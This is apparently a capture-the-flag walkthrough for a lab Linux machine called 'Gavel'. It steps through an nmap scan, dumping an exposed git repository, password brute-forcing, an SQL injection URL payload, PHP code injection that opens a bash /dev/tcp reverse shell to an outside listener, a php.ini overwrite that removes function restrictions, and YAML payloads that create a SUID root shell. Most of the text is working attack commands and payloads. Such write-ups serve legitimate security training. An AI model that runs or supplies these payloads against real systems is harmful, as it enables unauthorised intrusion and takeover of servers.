Gavel is a medium-difficulty Linux machine that demonstrates the exploitation of a misused SQL PDO statement to achieve SQL injection and extract data from an internal database. The scenario further highlights a PHP code-injection flaw that is exploited to execute remote commands, thereby enabling initial access to the target. Privilege escalation is achieved by targeting a root-owned daemon that processes user-supplied YAML files; by submitting a crafted YAML payload, PHP code is executed within a sandboxed environment with root privileges.
# Nmap 7.95 scan initiated Sun Nov 30 00:52:12 2025 as: /usr/lib/nmap/nmap --privileged -sVC -oN nmap/gavel 10.10.11.97
Nmap scan report for gavel.htb (10.10.11.97)
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Gavel Auction
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-git:
| 10.10.11.97:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: ..
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov 30 00:52:26 2025 -- 1 IP address (1 host up) scanned in 13.45 seconds
sudo echo -e '\n10.10.11.97 gavel.htb' | sudo tee -a /etc/hosts

dump all git files
git-dumper https://gavel.htb/.git git

possible username

we have two role user and auctioneer

checking the user we have sado not taken and auctioneer is taken

there is no rate limiting. fuzzing for password and we get midnight1

the intended way with SQLi
https://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27x`+FROM+users)y;--+-&sort=\?;--+-%00

we have admin panel

edit role is vulnerable to Remote Code Execution

Vulnerability: The application uses runkit_function_add() in bid_handler.php to dynamically create and execute a PHP function from the auctions.rule database field.
Root Cause:
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
ruleCheck(...);
The $rule value is user-controllable by users with the auctioneer role via admin.php.
Impact:
www-data)Exploitation:
rule in admin.php:
system('/usr/bin/bash -i >& /dev/tcp/10.10.x.x/9001 0>&1'); return true;


# we start a listener
penelope -p 9001
# or
nc -lnvp 9001
we place a bid on the same item we change the rule for

and we get a shell

we have to user root auctioneer

and we logged in as auctioneer with midnight1


we are in gavel-seller

disable_functions via php.ini overwriteBecause the app loads PHP from a writable php.ini, we used a file_put_contents() payload in the rule field to re-enable dangerous functions:
[!code] Payload
rule: "file_put_contents('/opt/gavel/.config/php/php.ini', 'engine=On\\ndisplay_errors=On\\ndisplay_startup_errors=On\\nlog_errors=Off\\nerror_reporting=E_ALL\\nopen_basedir=/opt/gavel\\nmemory_limit=32M\\nmax_execution_time=3\\nmax_input_time=10\\ndisable_functions=\\n'); return true;"
[!check]+ Result
✅system(),exec(), and all other functions were restored
⚠️open_basedirremained, but we could now run shell commands inside/opt/gavel
system()With system() re-enabled, we used a follow-up payload to drop a root-owned SUID shell:
[!code] Payload
rule: "system('cp /bin/bash /opt/gavel/bash && chmod 4755 /opt/gavel/bash'); return true;"
[!check]+ Result
✅/opt/gavel/bashbecame a SUID binary
Running it with-pgave a root shell:/opt/gavel/bash -p id uid=0(root) gid=0(root) groups=0(root)
[!list]+ What Was Achieved:
- Overwrote
php.inito bypass sandbox restrictions- Gained unrestricted
system()execution- Created a persistent root-level shell via SUID
- Escalated from limited PHP sandbox to full root access
change /opt/gavel/.config/php/php.ini file to allow php functions to execute
---
name: "RootShell"
description: "Re-enabled system()"
image: "https://example.com/test.png"
price: 1
rule_msg: "Popping root shell"
rule: "file_put_contents('/opt/gavel/.config/php/php.ini', 'engine=On\ndisplay_errors=On\ndisplay_startup_errors=On\nlog_errors=Off\nerror_reporting=E_ALL\nopen_basedir=/opt/gavel\nmemory_limit=32M\nmax_execution_time=3\nmax_input_time=10\ndisable_functions=\n'); return true;"
/usr/local/bin/gavel-util submit pwn.yaml

---
name: "RootShell"
description: "Re-enabled system()"
image: "https://example.com/test.png"
price: 1
rule_msg: "Popping root shell"
rule: "system('cp /bin/bash /opt/gavel/bash && chmod 4755 /opt/gavel/bash'); return true;"
/usr/local/bin/gavel-util submit root.yaml

bash have suid

we are root
